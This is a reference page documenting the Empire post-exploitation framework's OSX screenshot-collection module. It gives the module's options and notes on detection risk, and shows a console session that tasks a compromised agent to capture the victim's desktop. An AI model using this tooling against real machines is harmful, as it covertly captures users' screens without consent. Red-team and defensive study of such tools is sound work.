Screenshot - Empire Module


This page contains detailed information about how to use the python/collection/osx/screenshot Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Screenshot
Module: python/collection/osx/screenshot
Source code: empire/server/modules/python/collection/osx/screenshot.yaml
MITRE ATT&CK: T1113
Language: Python
Needs admin: No
OPSEC safe: No
Background: No

The screenshot module takes a screenshot of an OSX desktop using screencapture and returns the data.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the screenshot module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the screenshot module:

Agent
Agent to execute module on.

SavePath
Path of the temporary screenshot file to save.
Default value: /tmp/out.png.

Screenshot Example Usage

Here's an example of how to use the screenshot module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/osx/ducky) > usemodule python/collection/osx/screenshot

 Author       @harmj0y                                                             
 Background   False                                                                
 Description  Takes a screenshot of an OSX desktop using screencapture and returns 
              the data.                                                            
 Language     python                                                               
 Name         python/collection/osx/screenshot                                     
 NeedsAdmin   False                                                                
 OpsecSafe    False                                                                
 Techniques   http://attack.mitre.org/techniques/T1113                             


,Record Options-----------,----------,----------------------------------,
| Name     | Value        | Required | Description                      |
|----------|--------------|----------|----------------------------------|
| Agent    |              | True     | Agent to execute module on.      |
|----------|--------------|----------|----------------------------------|
| SavePath | /tmp/out.png | True     | Path of the temporary screenshot |
|          |              |          | file to save.                    |
'----------'--------------'----------'----------------------------------'

(Empire: usemodule/python/collection/osx/screenshot) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/collection/osx/screenshot) > set SavePath /tmp/out.png
[*] Set SavePath to /tmp/out.png
(Empire: usemodule/python/collection/osx/screenshot) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

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Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.